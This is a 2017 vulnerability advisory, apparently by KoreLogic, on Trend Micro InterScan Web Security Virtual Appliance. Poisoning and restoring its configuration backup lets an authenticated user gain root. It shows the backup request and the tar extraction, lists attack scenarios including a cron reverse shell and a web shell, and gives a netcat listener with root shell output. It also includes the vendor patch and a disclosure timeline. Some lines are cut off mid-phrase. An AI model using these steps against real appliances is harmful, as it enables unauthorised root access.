Affected Vendor: Trendmicro
Affected Product: InterScan Web Security Virtual Appliance
Affected Version: OS Version 3.5.1321.el6.x86_64; Application
Platform: Embedded Linux
CWE Classification: CWE-22: Improper Limitation of a Pathname to
a Restricted Directory ('Path Traversal'),
CWE-434: Unrestricted Upload of File with
Impact: Root Access
Attack vector: HTTP
2. Vulnerability Description
Any authenticated user can overwrite specific files on the
local system, which can be exploited to result in root access.
3. Technical Description
An attacker can use a HTTP POST request to instruct the
management application to backup the current appliance
configuration into a tarball. A valid session is required.
POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="IWSVA6.5-SP2_Config.tar"
Extracting the tar file gives you several files, detailed below:
$ tar xf IWSVA6.5-SP2_Config.tar
$ cd Configurations/
$ ls -la shadow passwd crontab.iscan crontab.root S55sshd S99lanbypass
prd.passwd iscan root
-rwxr-xr-x@ 1 level staff 4683 25 oct 05:32 S55sshd
-rwxr-xr-x@ 1 level staff 13553 25 oct 05:32 S99lanbypass
-rw-r-----@ 1 level staff 1738 25 oct 05:32 crontab.iscan
-rw-r-----@ 1 level staff 416 25 oct 05:32 crontab.root
-rw-r--r--@ 1 level staff 693 25 oct 05:32 passwd
-rw-r-----@ 1 level staff 44 25 oct 05:32 prd.passwd
---------- 1 level staff 427 25 oct 05:32 shadow
-rw-------@ 1 level staff 1796 25 oct 05:50 iscan
-rw-------@ 1 level staff 467 25 oct 05:32 root
The file content presents several attack scenarios:
Obtain hashes for all accounts
Poison shadow file with known hash
Poison cron with a bash shell
Poison scripts executed at boot
Directory traversal with web shell
The file, root, contains cron entries which are ran by the root user
at boot. A bash reverse shell was appended to this file and a new tar
file containing the poisoned file was created.
HTTP/1.1 302 Found
This resulted in a netcat shell as the root user.
$ nc -lv 8086
[root@iwsva65sp2 ~]# id;uname -a
uid=0(root) gid=0(root) groups=0(root)
Linux iwsva65sp2 2.6.32-504.OpenVA.3.5.1321.el6.x86_64 #1 SMP Tue Dec 23
15:08:35 CST 2014 x86_64 x86_64 x86_64 GNU/Linux
4. Mitigation and Remediation Recommendation
The vendor has issued a patch for this vulnerability in Version
6.5 CP 1737. Security advisory and link to the patched version
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2016.12.12 - KoreLogic sends vulnerability report and PoC to
2016.12.15 - Trendmicro acknowledges receipt of report.
2017.01.11 - Trendmicro informs KoreLogic that the patch to
this and other KoreLogic reported issues will
likely be available after the 45 business day
2017.02.06 - Trendmicro informs KoreLogic that the patched
version will be available by 2017.02.14.
2017.02.14 - Trendmicro security advisory released.
2017.02.15 - KoreLogic public disclosure.
7. Proof of Concept
See 3. Technical Description.
The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
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